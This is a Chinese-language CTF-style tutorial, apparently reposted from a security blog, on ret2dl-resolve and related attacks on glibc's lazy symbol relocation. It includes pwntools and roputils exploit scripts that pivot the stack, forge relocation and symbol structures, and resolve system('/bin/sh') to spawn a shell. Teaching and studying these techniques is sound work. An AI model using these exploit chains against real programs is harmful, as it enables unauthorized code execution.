中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Linux pwn中針對函數重定位流程的幾種攻擊分別是什么

發布時間:2021-10-21 18:20:23 來源:億速云 閱讀:167 作者:柒染 欄目:網絡安全

這期內容當中小編將會給大家帶來有關Linux pwn中針對函數重定位流程的幾種攻擊分別是什么,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

0x00 got表、plt表與延遲綁定

在之前的章節中,我們無數次提到過got表和plt表這兩個結構。這兩個表有什么不同?為什么調用函數要經過這兩個表?ret2dl-resolve與這些內容又有什么關系呢?本節我們將通過調試和“考古”來回答這些問題。

我們先選擇程序~/XMAN 2016-level3/level3進行實驗。這個程序在main函數中和vulnerable_function中都調用了write函數,我們分別在兩個call _write和一個call _read上下斷點,調試觀察發生了什么。

調試 啟動后程序斷在第一個call _write

Linux pwn中針對函數重定位流程的幾種攻擊分別是什么此時我們按F7跟進函數,發現EIP跳到了.plt表上,從旁邊的箭頭我們可以看到這個jmp指向了后面的push 18h; jmp loc_8048300Linux pwn中針對函數重定位流程的幾種攻擊分別是什么我們繼續F7執行到jmp loc_8048300發生跳轉,發現這邊又是一個push和一個jmp,這段代碼也在.plt上。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么同樣的,我們直接執行到jmp執行完,發現程序跳轉到了ld_2.24.so上,這個地址是loc_F7F5D010Linux pwn中針對函數重定位流程的幾種攻擊分別是什么到這里,有些人可能已經發現了不對勁。剛剛的指令明明是jmp ds:off_804a008,這個F7F5D010是從哪里冒出來的呢?其實這行jmp的意思并不是跳轉到地址0x0804a008執行代碼,而是跳轉到地址0x0804a008中保存的地址處。同理,一開始的jmp ds:off_804a018也不是跳轉到地址0x0804a018.OK,我們來看一下這兩個地址里保存了什么。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么

回到call _write F7跟進后的那張圖,跟進后的第一條指令是jmp ds:off_804a018,這個地址位于.got.plt中。我們看到其保存的內容是loc_8048346,后面還跟著一個DATA XREF:_write↑r. 說明這是一個跟write函數相關的代碼引用的這個地址,上面的有一個同樣的read也說明了這一點。而jmp ds:0ff_804a008也是跳到了0x0804a008保存的地址loc_F7F5D010處。

回到剛剛的eip,我們繼續F8單步往下走,執行到retn 0Ch,繼續往下執行就到了write函數的真正地址Linux pwn中針對函數重定位流程的幾種攻擊分別是什么Linux pwn中針對函數重定位流程的幾種攻擊分別是什么現在我們可以歸納出call write的執行流程如下圖:Linux pwn中針對函數重定位流程的幾種攻擊分別是什么然后我們F9到斷在call _read,發現其流程也和上圖差不多,唯一的區別在于addr1和push num中的數字不一樣,call _read時push的數字是0接下來我們讓程序執行到第二個call _write,F7跟進后發現jmp ds:0ff_804a018旁邊的箭頭不再指向下面的push 18hLinux pwn中針對函數重定位流程的幾種攻擊分別是什么我們查看.got.plt,發現其內容已經直接變成了write函數在內存中的真實地址。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么

由此我們可以得出一個結論,只有某個庫函數第一次被調用時才會經歷一系列繁瑣的過程,之后的調用會直接跳轉到其對應的地址。那么程序為什么要這么設計呢?

要想回答這個問題,首先我們得從動態鏈接說起。為了減少存儲器浪費,現代操作系統支持動態鏈接特性。即不是在程序編譯的時候就把外部的庫函數編譯進去,而是在運行時再把包含有對應函數的庫加載到內存里。由于內存空間有限,選用函數庫的組合無限,顯然程序不可能在運行之前就知道自己用到的函數會在哪個地址上。比如說對于libc.so來說,我們要求把它加載到地址0x1000處,A程序只引用了libc.so,從理論上來說這個要求不難辦到。但是對于用了liba,so, libb.so, libc.so……liby.so, libz.so的B程序來說,0x1000這個地址可能就被liba.so等庫占據了。因此,程序在運行時碰到了外部符號,就需要去找到它們真正的內存地址,這個過程被稱為重定位。為了安全,現代操作系統的設計要求代碼所在的內存必須是不可修改的,那么諸如call read一類的指令即沒辦法在編譯階段直接指向read函數所在地址,又沒辦法在運行時修改成read函數所在地址,怎么保證CPU在運行到這行指令時能正確跳到read函數呢?這就需要got表(Global Offset Table,全局偏移表)和plt表(Procedure Linkage Table,過程鏈接表)進行輔助了。

正如我們剛剛分析過的流程,在延遲加載的情況下,每個外部函數的got表都會被初始化成plt表中對應項的地址。當call指令執行時,EIP直接跳轉到plt表的一個jmp,這個jmp直接指向對應的got表地址,從這個地址取值。此時這個jmp會跳到保存好的,plt表中對應項的地址,在這里把每個函數重定位過程中唯一的不同點,即一個數字入棧(本例子中write是18h,read是0,對于單個程序來說,這個數字是不變的),然后push got[1]并跳轉到got[2]保存的地址。在這個地址中對函數進行了重定位,并且修改got表為真正的函數地址。當第二次調用同一個函數的時候,call仍然使EIP跳轉到plt表的同一個jmp,不同的是這回從got表取值取到的是真正的地址,從而避免重復進行重定位。

0x01 符號解析的過程中發生了什么?

我們通過調試已經大概搞清楚got表,plt表和重定位的流程了,但是作為一名攻擊者來說,只了解這些東西并不夠。ret2dl-resolve的核心原理是攻擊符號重定位流程,使其解析庫中存在的任意函數地址,從而實現got表的劫持。為了完成這一目標,我們就必須得深入符號解析的細節,尋找整個解析流程中的潛在攻擊點。我們可以在https://ftp.gnu.org/gnu/glibc/下載到glibc源碼,這里我用了glibc-2.27版本的源碼。
我們回到程序跳轉到ld_2.24.so的部分,這一段的源碼是用匯編實現的,源碼路徑為glibc/sysdeps/i386/dl-trampoline.S(64位把i386改為x86_64),其主要代碼如下:

        .text
                .globl _dl_runtime_resolve
                .type _dl_runtime_resolve, @function                cfi_startproc
                .align 16        _dl_runtime_resolve:
                cfi_adjust_cfa_offset (8)
                pushl %eax                # Preserve registers otherwise clobbered.                cfi_adjust_cfa_offset (4)
                pushl %ecx                cfi_adjust_cfa_offset (4)
                pushl %edx                cfi_adjust_cfa_offset (4)
                movl 16(%esp), %edx        # Copy args pushed by PLT in register.  Note                movl 12(%esp), %eax        # that `fixup' takes its parameters in regs.                call _dl_fixup                # Call resolver.                popl %edx                # Get register content back.                cfi_adjust_cfa_offset (-4)
                movl (%esp), %ecx                movl %eax, (%esp)        # Store the function address.                movl 4(%esp), %eax                ret $12                        # Jump to function address.                cfi_endproc
                .size _dl_runtime_resolve, .-_dl_runtime_resolve

其采用了GNU風格的語法,可讀性比較差,我們對應到IDA中的反匯編結果中修正符號如下_dl_fixup的實現位于glibc/elf/dl-runtime.c,我們首先來看一下函數的參數列表

_dl_fixup (# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS           ELF_MACHINE_RUNTIME_FIXUP_ARGS,# endif           struct link_map *__unbounded l, ElfW(Word) reloc_arg)

忽略掉宏定義部分,我們可以看到_dl_fixup接收兩個參數,link_map類型的指針l對應了push進去的got[1]reloc_arg對應了push進去的數字。由于link_map *都是一樣的,不同的函數差別只在于reloc_arg部分。我們繼續追蹤reloc_arg這個參數的流向。
如果你真的閱讀了源碼,你會發現這個函數里頭找不到reloc_arg,那么這個參數是用不著了嗎?不是的,我們往上面看,會看到一個宏定義

#ifndef reloc_offset# define reloc_offset reloc_arg# define reloc_index  reloc_arg / sizeof (PLTREL)#endifreloc_offset在函數開頭聲明變量時出現了。
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

D_PTR是一個宏定義,位于glibc/sysdeps/generic/ldsodefs.h中,用于通過link_map結構體尋址。這幾行代碼分別是尋找并保存symtab, strtab的首地址和利用參數reloc_offset尋找對應的PLTREL結構體項,然后會利用這個結構體項reloc尋找symtab中的項sym和一個rel_addr.我們先來看看這個結構體的定義。這個結構體定義在glibc/elf/elf.h中,32位下該結構體為

typedef struct{
  Elf32_Addr        r_offset;                /* Address */  Elf32_Word        r_info;                        /* Relocation type and symbol index */} Elf32_Rel;

這個結構體中有兩個成員變量,其中r_offset參與了初始化變量rel_addr,這個變量在_dl_fixup的最后return處作為函數elf_machine_fixup_plt的參數傳入,r_offset實際上就是函數對應的got表項地址。另一個參數r_info參與了初始化變量sym和一些校驗,而sym和其成員變量會作為參數傳遞給函數_dl_lookup_symbol_x和宏DL_FIXUP_MAKE_VALUE中,顯然我們必須關注一下它。不過首先我們得看一下reloc->r_info參與的其他部分代碼。
首先我們看到這么一行代碼

 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

這行代碼用了一大堆宏,ELFW宏用來拼接字符串,在這里實際上是為了自動兼容32和64位,R_TYPE和前面出現過的R_SYM定義如下:

#define ELF32_R_SYM(i) ((i)>>8)#define ELF32_R_TYPE(i) ((unsigned char)(i))#define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))所以這一行代碼取reloc->r_info的最后一個字節,判斷是否為ELF_MACHINE_JMP_SLOT,即7.我們繼續往下看
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
        {
          const ElfW(Half) *vernum =
            (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
          version = &l->l_versions[ndx];
          if (version->hash == 0)
            version = NULL;
        }

這段代碼使用reloc->r_info最終給version進行了賦值,這里我們可以看出reloc->r_info的高24位異常可能導致ndx數值異常,進而在version = &l->l_versions[ndx]時可能會引起數組越界從而使程序崩潰。
看完了這一段,我們回頭看一下變量sym, sym同樣使用了ELFW(R_SYM)(reloc->r_info)作為下標進行賦值。

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

Elfw(Sym)會被處理成Elf32_Sym,定義在glibc/elf/elf.h,結構體如下:

typedef struct{
  Elf32_Word        st_name;                /* Symbol name (string tbl index) */  Elf32_Addr        st_value;                /* Symbol value */  Elf32_Word        st_size;                /* Symbol size */  unsigned char        st_info;                /* Symbol type and binding */  unsigned char        st_other;                /* Symbol visibility */  Elf32_Section        st_shndx;                /* Section index */} Elf32_Sym;

這里面的成員變量st_other和st_name都被用到了

  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      ………………
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
          ………………
}

這里省略了部分代碼,我們可以從函數名判斷出,只有這個if成立,真正進行重定位的函數_dl_lookup_symbol_x才會被執行。ELFW(ST_VISIBILITY)會被解析成宏定義

define ELF32_ST_VISIBILITY(o)        ((o) & 0x03)

位于glibc/elf/elf.h,所以我們得知這邊的sym->st_other后兩位必須為0。

我們可以看到傳入_dl_lookup_symbol_x函數的參數中,第一個參數為strtab+sym->st_name,第三個參數是sym指針的引用。strtab在函數的開頭已經賦值為strtab的首地址,查閱資料可知strtab是ELF文件中的一個字符串表,內容包括了.symtab和.debug節的符號表等等。我們根據readelf給出的偏移來看一下這個表。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么

可以看到這里面是有read、write、__libc_start_main等函數的名字的。那么函數_dl_lookup_symbol_x為什么要接收這個名字呢?我們進入這個函數,發現這個函數的代碼有點多。考慮到我們關心的是重定位過程中不同的reloc_arg是如何影響函數的重定位的,我們在此不分析其細節。

_dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,
                     const ElfW(Sym) **ref,
                     struct r_scope_elem *symbol_scope[],
                     const struct r_found_version *version,
                     int type_class, int flags, struct link_map *skip_map)
{
  const uint_fast32_t new_hash = dl_new_hash (undef_name);
  unsigned long int old_hash = 0xffffffff;
  struct sym_val current_value = { NULL, NULL };
  .............

  /* Search the relevant loaded objects for a definition.  */  for (size_t start = i; *scope != NULL; start = 0, ++scope)
    {
      int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
                             ¤t_value, *scope, start, version, flags,
                             skip_map, type_class, undef_map);
      if (res > 0)
        break;

      if (__glibc_unlikely (res < 0) && skip_map == NULL)
        {
          /* Oh, oh.  The file named in the relocation entry does not
             contain the needed symbol.  This code is never reached
             for unversioned lookups.  */          assert (version != NULL);
          const char *reference_name = undef_map ? undef_map->l_name : "";
          struct dl_exception exception;
          /* XXX We cannot translate the message.  */          _dl_exception_create_format
            (&exception, DSO_FILENAME (reference_name),
             "symbol %s version %s not defined in file %s"             " with link time reference%s",
             undef_name, version->name, version->filename,
             res == -2 ? " (no version symbols)" : "");
          _dl_signal_cexception (0, &exception, N_("relocation error"));
          _dl_exception_free (&exception);
          *ref = NULL;
          return 0;
        }
    ...............
}

我們看到函數名字會被計算hash,這個hash會傳遞給do_lookup_x,從函數名和下面對分支的注釋我們可以看出來do_lookup_x才是真正進行重定位的函數,而且其返回值res大于0說明尋找到了函數的地址。我們繼續進入do_lookup_x,發現其主要是使用用strtab + sym->st_name計算出來的參數new_hash進行計算,與strtab + sym->st_name,sym等并沒有什么關系。對比do_lookup_x的參數列表和傳入的參數,我們可以發現其結果保存在current_value中。

do_lookup_x:static int__attribute_noinline__
do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
             unsigned long int *old_hash, const ElfW(Sym) *ref,
             struct sym_val *result, struct r_scope_elem *scope, size_t i,
             const struct r_found_version *const version, int flags,
             struct link_map *skip, int type_class, struct link_map *undef_map)

_dl_lookup_symbol_x:int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
                             ¤t_value, *scope, start, version, flags,
                             skip_map, type_class, undef_map);

至此,我們已經分析完了reloc_arg對函數重定位的影響,我們用下面這張圖總結一下整個影響過程:
Linux pwn中針對函數重定位流程的幾種攻擊分別是什么我們以write函數為例進行調試分析,write的reloc_arg是0x18Linux pwn中針對函數重定位流程的幾種攻擊分別是什么使用readelf查看程序信息,找到JMPREL在0x080482b0Linux pwn中針對函數重定位流程的幾種攻擊分別是什么事實上該信息存儲在.rel.plt節里我們找到這塊內存,按照結構體格式解析數據,可知r->offset = 0x0804a018 , r->info=407,與readelf顯示的.rel.plt數據吻合。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么Linux pwn中針對函數重定位流程的幾種攻擊分別是什么所以是symtab的第四項,我們可以通過#include<elf.h>導入該結構體后使用sizeof算出Elf32_Sym大小為0x10,通過上面readelf顯示的節頭信息我們發現symtab并不會映射到內存中,可是重定位是在運行過程中進行的,顯然在內存中會有相關數據,這就產生了矛盾。通過查閱資料我們可以得知其實symtab有個子集dymsym,在節頭表中顯示其位于080481ccLinux pwn中針對函數重定位流程的幾種攻擊分別是什么對照結構體,st_name是0x31,接下來我們去strtab找,同樣的,strtab也有個子集dynstr,地址在0804822c.加上0x31后為0804825dLinux pwn中針對函數重定位流程的幾種攻擊分別是什么

0x02 32位下的ret2dl-resolve

通過一系列冗長的源碼閱讀+調試分析,我們捋了一遍符號重定位的流程,現在我們要站在攻擊者的角度看待這個流程了。從上面的分析結果中我們知道其實最終影響解析的是函數的名字,那么如果我們強行把write改成system呢?我們來試一下。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么我們強行修改內存數據,然后繼續運行,發現劫持got表成功,此時write表項是system的地址。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么那么我們是不是可以修改dynstr里面的數據呢?通過查看內存屬性,我們很不幸地發現.rel.plt. .dynsym .dynstr所在的內存區域都不可寫。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么這樣一來,我們能夠改變的就只有reloc_arg了。基于上面的分析,我們的思路是在內存中偽造Elf32_Rel和Elf32_Sym兩個結構體,并手動傳遞reloc_arg使其指向我們偽造的結構體,讓Elf32_Sym.st_name的偏移值指向預先放在內存中的字符串system完成攻擊。為了地址可控,我們首先進行棧劫持并跳轉到0x0804834BLinux pwn中針對函數重定位流程的幾種攻擊分別是什么為此我們必須在bss段構造一個新的棧,以便棧劫持完成后程序不會崩潰。ROP鏈如下:

#!/usr/bin/python#coding:utf-8from pwn import *

context.update(os = 'linux', arch = 'i386')start_addr = 0x08048350read_plt = 0x08048310write_plt = 0x08048340write_plt_without_push_reloc_arg = 0x0804834bleave_ret = 0x08048482pop3_ret = 0x08048519pop_ebp_ret = 0x0804851bnew_stack_addr = 0x0804a200                                                        #bss與got表相鄰,_dl_fixup中會降低棧后傳參,設置離bss首地址遠一點防止參數寫入非法地址出錯io = remote('172.17.0.2', 10001)payload = ""payload += 'A'*140                                                                        #paddingpayload += p32(read_plt)                                                        #調用read函數往新棧寫值,防止leave; retn到新棧后出現ret到地址0上導致出錯payload += p32(pop3_ret)                                                        #read函數返回后從棧上彈出三個參數payload += p32(0)                                                                        #fd = 0payload += p32(new_stack_addr)                                                #buf = new_stack_addrpayload += p32(0x400)                                                                        #size = 0x400payload += p32(pop_ebp_ret)                                                        #把新棧頂給ebp,接下來利用leave指令把ebp的值賦給esppayload += p32(new_stack_addr)                                payload += p32(leave_ret)

io.send(payload)                                                                        #此時程序會停在我們使用payload調用的read函數處等待輸入數據payload = ""payload += "AAAA"                                                                        #leave = mov esp, ebp; pop ebp,占位用于pop ebppayload += p32(write_plt_without_push_reloc_arg)        #按照我們的測試方案,強制程序對write函數重定位,reloc_arg由我們手動放入棧中payload += p32(0x18)                                                                #手動傳遞write的reloc_arg,調用writepayload += p32(start_addr)                                                        #函數執行完后返回startpayload += p32(1)                                                                        #fd = 1payload += p32(0x08048000)                                                        #buf = ELF程序加載開頭,write會輸出ELFpayload += p32(4)                                                                        #size = 4
io.send(payload)

測試結果:Linux pwn中針對函數重定位流程的幾種攻擊分別是什么我們可以看到調用成功了。我們發現其實跳轉到write_plt_without_push_reloc_arg上,還是會直接跳轉到PLT[0],所以我們可以把這個地址改成PLT[0]的地址。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么接下來我們開始著手在新的棧上偽造兩個結構體:

write_got = 0x0804a018        new_stack_addr = 0x0804a500                        #bss與got表相鄰,_dl_fixup中會降低棧后傳參,設置離bss首地址遠一點防止參數寫入非法地址出錯relplt_addr = 0x080482b0                        #.rel.plt的首地址,通過計算首地址和新棧上我們偽造的結構體Elf32_Rel偏移構造reloc_argdymsym_addr = 0x080481cc                        #.dynsym的首地址,通過計算首地址和新棧上我們偽造的Elf32_Sym結構體偏移構造Elf32_Rel.r_infodynstr_addr = 0x0804822c                        #.dynstr的首地址,通過計算首地址和新棧上我們偽造的函數名字符串system偏移構造Elf32_Sym.st_namefake_Elf32_Rel_addr = new_stack_addr + 0x50        #在新棧上選擇一塊空間放偽造的Elf32_Rel結構體,結構體大小為8字節fake_Elf32_Sym_addr = new_stack_addr + 0x5c        #在偽造的Elf32_Rel結構體后面接上偽造的Elf32_Sym結構體,結構體大小為0x10字節binsh_addr = new_stack_addr + 0x74                        #把/bin/sh\x00字符串放在最后面fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr        #計算偽造的reloc_argfake_r_info = ((fake_Elf32_Sym_addr - dymsym_addr)/0x10) << 8 | 0x7 #偽造r_info,偏移要計算成下標,除以Elf32_Sym的大小,最后一字節為0x7fake_st_name = new_stack_addr + 0x6c - dynstr_addr                #偽造的Elf32_Sym結構體后面接上偽造的函數名字符串systemfake_Elf32_Rel_data = ""fake_Elf32_Rel_data += p32(write_got)                                        #r_offset = write_got,以免重定位完畢回填got表的時候出現非法內存訪問錯誤fake_Elf32_Rel_data += p32(fake_r_info)fake_Elf32_Sym_data = ""fake_Elf32_Sym_data += p32(fake_st_name)fake_Elf32_Sym_data += p32(0)                                                        #后面的數據直接套用write函數的Elf32_Sym結構體,具體成員變量含義自行搜索fake_Elf32_Sym_data += p32(0)fake_Elf32_Sym_data += p32(0x12)

我們把新棧的地址向后調整了一點,因為在調試深入到_dl_fixup的時候發現某行指令試圖對got表寫入,而got表正好就在bss的前面,緊接著bss,為了防止運行出錯,我們進行了調整。此外,需要注意的是偽造的兩個結構體都要與其首地址保持對齊。完成了結構體偽造之后,我們將這些內容放在新棧中,調試的時候確認整個偽造的鏈條正確,pwn it!Linux pwn中針對函數重定位流程的幾種攻擊分別是什么

0x03 64位下的ret2dl-resolve

與32位不同,在64位下,雖然_dl_fixup函數的邏輯沒有改變,但是許多相關的變量和結構體都有了變化。例如在glibc/sysdeps/x86_64/dl-runtime.c中定義了
reloc_offset和reloc_index

#define reloc_offset reloc_arg * sizeof (PLTREL)#define reloc_index  reloc_arg#include <elf/dl-runtime.c>

我們可以可以推斷出reloc_arg已經不像32位中是作為一個偏移值存在,而是作為一個數組下標存在。此外,兩個關鍵的結構體也做出了調整:Elf32_Rel升級為Elf64_Rela, Elf32_Sym升級為Elf64_Sym,這兩個結構體的大小均為0x18

typedef struct{
  Elf64_Addr        r_offset;                /* Address */  Elf64_Xword        r_info;                        /* Relocation type and symbol index */  Elf64_Sxword        r_addend;                /* Addend */} Elf64_Rela;typedef struct{
  Elf64_Word        st_name;                /* Symbol name (string tbl index) */  unsigned char        st_info;                /* Symbol type and binding */  unsigned char st_other;                /* Symbol visibility */  Elf64_Section        st_shndx;                /* Section index */  Elf64_Addr        st_value;                /* Symbol value */  Elf64_Xword        st_size;                /* Symbol size */} Elf64_Sym;

此外,_dl_runtime_resolve的實現位于glibc/sysdeps/x86_64/dl-trampoline.h中,其代碼加了宏定義之后可讀性很差,核心內容仍然是調用_dl_fixup,此處不再分析。
最后,在64位下進行ret2dl-resolve還有一個問題,即我們在分析源碼時提到但是應用中卻忽略的一個潛在數組越界:

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
        {
          const ElfW(Half) *vernum =
            (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
          version = &l->l_versions[ndx];
          if (version->hash == 0)
            version = NULL;
        }

這里會使用reloc->r_info的高位作為下標產生了ndx,然后在link_map的成員數組變量l_versions中取值作為version。為了在偽造的時候正確定位到sym,r_info必然會較大。在32位的情況下,由于程序的映射較為緊湊, reloc->r_info的高24位導致vernum數組越界的情況較少。由于程序映射的原因,vernum數組首地址后面有大片內存都是以0x00填充,攻擊導致reloc->r_info的高24位過大后從vernum數組中獲取到的ndx有很大概率是0,從而由于ndx異常導致l_versions數組越界的幾率也較低。我們可以對照源碼,IDA調試進入_dl_fixup后,將斷點下在if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)附近。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么中斷后切換到匯編Linux pwn中針對函數重定位流程的幾種攻擊分別是什么單步運行到movzx edx, word ptr [edx+esi*2]一行Linux pwn中針對函數重定位流程的幾種攻擊分別是什么觀察edx的值,此處為0x0804827c, edx+esi*2 = 0x08048284,查看程序的內存映射情況Linux pwn中針對函數重定位流程的幾種攻擊分別是什么一直到地址0x0804b000都是可讀的,所以esi,也就是reloc->r_info的高24位最高可以達到0x16c2,考慮到.dymsym與.bss的間隔,這個允許范圍基本夠用。繼續往下看Linux pwn中針對函數重定位流程的幾種攻擊分別是什么

此時的edi = 0xf7fa9918,[edi+170h]保存的值為0Xf7f7eb08,其后連續可讀的地址最大值為0xf7faa000,因此mov ecx, [edx+4]一行,按照之前幾行匯編代碼的算法,只要取出的edx值不大于(0xf7faa000-0xf7f7eb08)/0x10 = 0x2b4f,version = &l->l_versions[ndx];就不會產生非法內存訪問。仔細觀察會發現0x0804827c~0x0804b000之間幾乎所有的2字節word型數據都符合要求。因此,大部分情況下32位的題目很少會產生ret2dl-resolve在此處造成的段錯誤。

而對于64位,我們用相同的方法調試本節的例子~/XMAN 2016-level3_64/level3_64會發現由于我們常用的bss段被映射到了0x600000之后,而dynsym的地址仍然在0x400000附近,r_info的高位將會變得很大,再加上此時vernum也在0x400000附近,vernum[ELFW(R_SYM) (reloc->r_info)]將會有很大概率落在在0x400000~0x600000間的不可讀區域Linux pwn中針對函數重定位流程的幾種攻擊分別是什么

從而產生一個段錯誤。為了防止出現這個錯誤,我們需要修改判斷流程,使得l->l_info[VERSYMIDX (DT_VERSYM)]為0,從而繞開這塊代碼。而l->l_info[VERSYMIDX (DT_VERSYM)]在64位中的位置就是link_map+0x1c8(對應的,32位下為link_map+0xe4),所以我們需要泄露link_map地址并將link_map置為0

64位下的ret2dl-resolve與32位下的ret2dl-resolve除了上述一些變化之外,exp構造流程并沒有什么區別,在此處不再贅述,詳細腳本可見于附件。

理論上來說,ret2dl-resolve對于所有存在棧溢出,沒有Full RELRO(如果開啟了Full RELRO,所有符號將會在運行時被全部解析,也就不存在_dl_fixup了)且有一個已知確定的棧地址(可以通過stack pivot劫持棧到已知地址)的程序都適用。但是我們從上面的64位ret2dl-resolve中可以看到其必須泄露link_map的地址才能完成利用,對于32位程序來說也可能出現同樣的問題。如果出現了不存在輸出的棧溢出程序,我們就沒辦法用這種套路了,那我們該怎么辦呢?接下來的幾節我們將介紹一些不依賴泄露的攻擊手段。

0x04 使用ROPutils簡化攻擊步驟

從上面32位和64位的攻擊腳本我們不難看出來,雖然構造payload的過程很繁瑣,但是實際上大部分代碼的格式都是固定的,我們完全可以自己把它們封裝成一個函數進行調用。當然,我們還可以當一把懶人,直接用別人寫好的庫。是的,我說的就是一個有趣的,沒有使用說明的項目ROPutils(https://github.com/inaz2/roputils)
這個python庫的作者似乎挺懶的,不僅不寫文檔,而且代碼也好幾年沒更新了。不過這并不妨礙其便利性。我們直接看代碼roputils.py,其大部分我們會用到的東西都在ROP*和FormatStr這幾個類中,不過ROPutils也提供了其他的輔助工具類和函數。當然,在本節中我們只會介紹和ret2dl-resolve相關的一些函數的用法,不做源碼分析和過多的介紹。
我們可以直接把roputils.py和自己寫的腳本放在同一個文件夾下以使用其中的功能。以~/XMAN 2016-level3/level4為例。其實我們會發現fake dl-resolve并不一定需要進行棧劫持,我們只要確保偽造的link_map所在地址已知,且地址能被作為參數傳入_dl_fixup即可。我們先來構造一個棧溢出,調用read讀取偽造的link_map到.bss中。

from roputils import *
#為了防止命名沖突,這個腳本全部只使用roputils中的代碼。如果需要使用pwntools中的代碼需要在import roputils前import pwn,以使得roputils中的ROP覆蓋掉pwntools中的ROProp = ROP('./level4')                        #ROP繼承了ELF類,下面的section, got, plt都是調用父類的方法bss_addr = rop.section('.bss')read_got = rop.got('read')read_plt = rop.plt('read')offset = 140io = Proc(host = '172.17.0.2', port = 10001)        #roputils中這里需要顯式指定參數名buf = rop.fill(offset)                        #fill用于生成填充數據buf += rop.call(read_plt, 0, bss_addr, 0x100)        #call可以通過某個函數的plt地址方便地進行調用buf += rop.dl_resolve_call(bss_addr+0x20, bss_addr)        #dl_resolve_call有一個參數base和一個可選參數列表*args。base為偽造的link_map所在地址,*args為要傳遞給被劫持調用的函數的參數。這里我們將"/bin/sh\x00"放置在bss_addr處,link_map放置在bss_addr+0x20處io.write(buf)然后我們直接用dl_resolve_data生成偽造的link_map并發送buf = rop.string('/bin/sh')                
buf += rop.fill(0x20, buf)                #如果fill的第二個參數被指定,相當于將第二個參數命名的字符串填充至指定長度buf += rop.dl_resolve_data(bss_addr+0x20, 'system')        #dl_resolve_data的參數也非常簡單,第一個參數是偽造的link_map首地址,第二個參數是要偽造的函數名buf += rop.fill(0x100, buf)io.write(buf)


然后我們直接使用io.interact(0)就可以打開一個shell了。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么關于roputils的用法可以參考其github倉庫中的examples,其他練習程序不再提供對應的roputils寫法的腳本。

0x05 在.dynamic節中偽造.dynstr節地址

在32位的ret2dl-resolve一節中我們已經發現,ELF開發小組為了安全,設置.rel.plt. .dynsym .dynstr三個重定位相關的節區均為不可寫。然而ELF文件中有一個.dynamic節,其中保存了動態鏈接器所需要的基本信息,而我們的.dynstr也屬于這些基本信息中的一個。更棒的是,如果一個程序沒有開啟RELRO(即checksec顯示No RELRO).dynamic節是可寫的。(Partial RELRO和Full RELRO會在程序加載完成時設置.dynamic為不可寫,因此盡管readelf顯示其為可寫也不可相信)Linux pwn中針對函數重定位流程的幾種攻擊分別是什么Linux pwn中針對函數重定位流程的幾種攻擊分別是什么.dynamic節中只包含Elf32/64_Dyn結構體類型的數據,這兩個結構體定義在glibc/elf/elf.h下

typedef struct{
  Elf32_Sword        d_tag;                        /* Dynamic entry type */  union    {
      Elf32_Word d_val;                        /* Integer value */      Elf32_Addr d_ptr;                        /* Address value */    } d_un;
} Elf32_Dyn;typedef struct{
  Elf64_Sxword        d_tag;                        /* Dynamic entry type */  union    {
      Elf64_Xword d_val;                /* Integer value */      Elf64_Addr d_ptr;                        /* Address value */    } d_un;
} Elf64_Dyn;

從結構體的定義我們可以看出其由一個d_tag和一個union類型組成,union中的兩個變量會隨著不同的d_tag進行切換。我們通過readelf看一下.dynstr的d_tag其標記為0x05,union變量顯示為值0x0804820c。我們看一下內存中.dynamic節中.dynstr對應的Elf32_Dyn結構體和指針指向的數據。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么Linux pwn中針對函數重定位流程的幾種攻擊分別是什么

因此,我們只需要在棧溢出后程序中仍然存在至少一個未執行過的函數,我們就可以修改.dynstr對應結構體中的地址,從而使其指向我們偽造的.dynstr數據,進而在解析的時候解析出我們想要的函數。

我們以32位的程序為例,打開~/fake_dynstr32/fake_dynstr32Linux pwn中針對函數重定位流程的幾種攻擊分別是什么Linux pwn中針對函數重定位流程的幾種攻擊分別是什么這個程序滿足了我們需要的一切條件——No RELRO,棧溢出發生在vuln中,exit不會被調用,因此我們可以用上述方法進行攻擊。首先我們把所有的字符串從里面拿出來,并且把exit替換成system

